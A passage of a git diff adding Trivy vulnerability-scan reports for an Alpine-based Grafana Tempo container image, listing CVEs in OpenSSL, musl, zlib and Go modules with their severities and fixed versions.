https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────┤ │ │ ├──────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└─────────┴─────────────────┴──────────┴────────┴───────────────────┴──────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-tempo.txt b/evidence/trivy-tempo.txt new file mode 100644 index 0000000..dca0ab0 --- /dev/null +++ b/evidence/trivy-tempo.txt @@ -0,0 +1,394 @@ + +Report Summary + +┌─────────────────────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├─────────────────────────────────┼──────────┼─────────────────┤ +│ /scan/image.tar (alpine 3.21.3) │ alpine │ 24 │ +├─────────────────────────────────┼──────────┼─────────────────┤ +│ tempo │ gobinary │ 65 │ +└─────────────────────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +/scan/image.tar (alpine 3.21.3) +=============================== +Total: 24 (HIGH: 22, CRITICAL: 2) + +┌────────────┬─────────────────┬──────────┬────────┬───────────────────┬───────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├────────────┼─────────────────┼──────────┼────────┼───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤ +│ libcrypto3 │ CVE-2026-31789 │ CRITICAL │ fixed │ 3.3.3-r0 │ 3.3.7-r0 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.3.6-r0 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.3.7-r0 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.3.7-r1 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.3.7-r2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────┼─────────────────┼──────────┤ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ libssl3 │ CVE-2026-31789 │ CRITICAL │ │ │ 3.3.7-r0 │ openssl: OpenSSL: Heap buffer overflow on 32-bit systems │ +│ │ │ │ │ │ │ from large X.509 certificate... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-31789 │ +│ ├─────────────────┼──────────┤ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-15467 │ HIGH │ │ │ 3.3.6-r0 │ openssl: OpenSSL: Remote code execution or Denial of Service │ +│ │ │ │ │ │ │ via oversized Initialization... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-15467 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-69421 │ │ │ │ │ openssl: OpenSSL: Denial of Service via malformed PKCS#12 │ +│ │ │ │ │ │ │ file processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-69421 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28387 │ │ │ │ 3.3.7-r0 │ openssl: OpenSSL: Arbitrary code execution due to │ +│ │ │ │ │ │ │ use-after-free in DANE TLSA authentication... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28387 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28388 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in delta... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28388 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28389 │ │ │ │ │ openssl: OpenSSL: Denial of Service vulnerability in CMS │ +│ │ │ │ │ │ │ processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28389 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28390 │ │ │ │ │ openssl: OpenSSL: Denial of Service due to NULL pointer │ +│ │ │ │ │ │ │ dereference in CMS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28390 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-45447 │ │ │ │ 3.3.7-r1 │ openssl: Heap Use-After-Free in OpenSSL PKCS7_verify() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-45447 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-84782 │ │ │ │ 3.3.7-r2 │ openssl: compat-openssl: openssl: Information disclosure via │ +│ │ │ │ │ │ │ DTLS handshake retransmission │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-84782 │ +├────────────┼─────────────────┤ │ ├───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤ +│ musl │ CVE-2026-107891 │ │ │ 1.2.5-r9 │ 1.2.5-r12 │ musl: musl: Arbitrary code execution via integer overflow in │ +│ │ │ │ │ │ │ regcomp │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107891 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40200 │ │ │ │ 1.2.5-r11 │ musl: musl libc: Arbitrary code execution and denial of │ +│ │ │ │ │ │ │ service via stack-based... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40200 │ +├────────────┼─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ musl-utils │ CVE-2026-107891 │ │ │ │ 1.2.5-r12 │ musl: musl: Arbitrary code execution via integer overflow in │ +│ │ │ │ │ │ │ regcomp │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107891 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40200 │ │ │ │ 1.2.5-r11 │ musl: musl libc: Arbitrary code execution and denial of │ +│ │ │ │ │ │ │ service via stack-based... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40200 │ +├────────────┼─────────────────┤ │ ├───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤ +│ zlib │ CVE-2026-22184 │ │ │ 1.3.1-r2 │ 1.3.2-r0 │ zlib: zlib: Arbitrary code execution via buffer overflow in │ +│ │ │ │ │ │ │ untgz utility │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-22184 │ +│ ├─────────────────┤ │ │ ├───────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-85091 │ │ │ │ 1.3.2-r1 │ zlib: zlib: Heap buffer overflow in gz_vacate() allows │ +│ │ │ │ │ │ │ arbitrary code execution │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-85091 │ +└────────────┴─────────────────┴──────────┴────────┴───────────────────┴───────────────┴──────────────────────────────────────────────────────────────┘ + +tempo (gobinary) +================ +Total: 65 (HIGH: 63, CRITICAL: 2) + +┌──────────────────────────────────┬─────────────────────┬──────────┬────────┬───────────────────┬───────────────────────────────────────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├──────────────────────────────────┼─────────────────────┼──────────┼────────┼───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/antchfx/xpath │ CVE-2026-32287 │ HIGH │ fixed │ v1.3.2 │ 1.3.6 │ github.com/antchfx/xpath: github.com/antchfx/xpath: Denial │ +│ │ │ │ │ │ │ of Service due to infinite loop via boolean XPath... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32287 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/apache/thrift │ CVE-2026-41602 │ │ │ v0.21.0 │ 0.23.0 │ github.com/apache/thrift: Apache Thrift: Integer Overflow in │ +│ │ │ │ │ │ │ TFramedTransport Go implementation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41602 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-43871 │ │ │ │ 0.24.0 │ thrift: Apache Thrift: Denial of Service via infinite loop │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-43871 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/expr-lang/expr │ CVE-2025-29786 │ │ │ v1.16.9 │ 1.17.0 │ github.com/expr-lang/expr: Memory Exhaustion in Expr Parser │ +│ │ │ │ │ │ │ with Unrestricted Input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-29786 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-68156 │ │ │ │ 1.17.7 │ github.com/expr-lang/expr: Expr: Denial of Service via │ +│ │ │ │ │ │ │ uncontrolled recursion in expression evaluation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68156 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/golang-jwt/jwt/v5 │ CVE-2025-30204 │ │ │ v5.2.1 │ 5.2.2 │ golang-jwt/jwt: jwt-go allows excessive memory allocation │ +│ │ │ │ │ │ │ during header parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-30204 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/grafana/tempo │ CVE-2026-21728 │ │ │ v2.7.2 │ 2.8.4, 2.9.2, 2.10.2 │ grafana/tempo: Tempo: Denial of Service via large queries │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-21728 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-28377 │ │ │ │ 2.10.3 │ Grafana Tempo: Grafana Tempo: Information disclosure of S3 │ +│ │ │ │ │ │ │ encryption key via status... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-28377 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/klauspost/compress │ CVE-2026-63209 │ │ │ v1.17.11 │ 1.18.7 │ github.com/klauspost/compress: klauspost/compress: Denial of │ +│ │ │ │ │ │ │ Service via integer overflow in dictionary processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-63209 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ github.com/prometheus/prometheus │ CVE-2026-42151 │ │ │ v0.54.1 │ 0.311.3 │ github.com/prometheus/prometheus: Prometheus: Information │ +│ │ │ │ │ │ │ disclosure of Azure OAuth client secret via config API... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42151 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42154 │ │ │ │ 0.311.3, 0.305.2 │ github.com/prometheus/prometheus: Prometheus: Denial of │ +│ │ │ │ │ │ │ Service via uncontrolled memory allocation in remote read... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42154 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ go.opentelemetry.io/otel/sdk │ CVE-2026-24051 │ │ │ v1.33.0 │ 1.40.0 │ opentelemetry-go: OpenTelemetry-Go Affected by Arbitrary │ +│ │ │ │ │ │ │ Code Execution via PATH Hijacking │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-24051 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39883 │ │ │ │ 1.43.0 │ github.com/open-telemetry/opentelemetry-go: │ +│ │ │ │ │ │ │ OpenTelemetry-Go: Arbitrary code execution via PATH │ +│ │ │ │ │ │ │ hijacking on BSD/Solaris │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39883 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/crypto │ CVE-2025-22869 │ │ │ v0.31.0 │ 0.35.0 │ golang.org/x/crypto/ssh: Denial of Service in the Key │ +│ │ │ │ │ │ │ Exchange of golang.org/x/crypto/ssh │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22869 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-47913 │ │ │ │ 0.43.0 │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: SSH client panic due to │ +│ │ │ │ │ │ │ unexpected SSH_AGENT_SUCCESS │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-47913 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39828 │ │ │ │ 0.52.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Unauthorized command execution via discarded SSH permissions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39828 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39829 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted public key with excessive parameters... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39829 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39830 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via resource leak from unsolicited SSH responses... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39830 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39831 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Security │ +│ │ │ │ │ │ │ key bypass due to missing user presence check │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39831 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39832 │ │ │ │ │ golang.org/x/crypto/ssh/agent: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/agent: Security bypass due to │ +│ │ │ │ │ │ │ improper handling of key restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39832 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39835 │ │ │ │ │ golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Denial of Service via crafted SSH certificate │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39835 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42508 │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: golang: │ +│ │ │ │ │ │ │ golang.org/x/crypto/ssh/knownhosts: Revocation bypass via │ +│ │ │ │ │ │ │ unchecked SignatureKey │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42508 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46595 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authorization bypass due to skipped source-address │ +│ │ │ │ │ │ │ validation │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46595 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46597 │ │ │ │ │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of │ +│ │ │ │ │ │ │ Service via crafted AES-GCM packet decoder inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46597 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56854 │ │ │ │ 0.55.0 │ golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: │ +│ │ │ │ │ │ │ Authentication bypass due to unenforced source-address │ +│ │ │ │ │ │ │ restrictions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56854 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┤ ├──────────────────────────────────────────────────────────────┤ +│ golang.org/x/net │ CVE-2026-25681 │ │ │ v0.33.0 │ │ golang.org/x/net/html: golang.org/x/net/html: Arbitrary code │ +│ │ │ │ │ │ │ execution via Cross-Site Scripting │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25681 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27136 │ │ │ │ │ golang.org/x/net/html: golang: golang.org/x/net/html: │ +│ │ │ │ │ │ │ Cross-Site Scripting via HTML parsing bypass │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27136 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ 0.53.0 │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 0.55.0 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-46600 │ │ │ │ 0.56.0 │ golang.org/x/net/dns/dnsmessage: │ +│ │ │ │ │ │ │ golang.org/x/net/dns/dnsmessage: Denial of Service via │ +│ │ │ │ │ │ │ invalid DNS record parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-46600 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78661 │ │ │ │ 0.62.0 │ golang.org/x/net/html: golang.org/x/net/html: Denial of │ +│ │ │ │ │ │ │ Service via crafted HTML input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78661 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ 0.60.0 │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +├──────────────────────────────────┼─────────────────────┤ │ ├───────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ golang.org/x/oauth2 │ CVE-2025-22868 │ │ │ v0.24.0 │ 0.27.0 │ golang.org/x/oauth2/jws: Unexpected memory consumption │ +│ │ │ │ │ │ │ during token parsing in golang.org/x/oauth2/jws │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-22868 │ 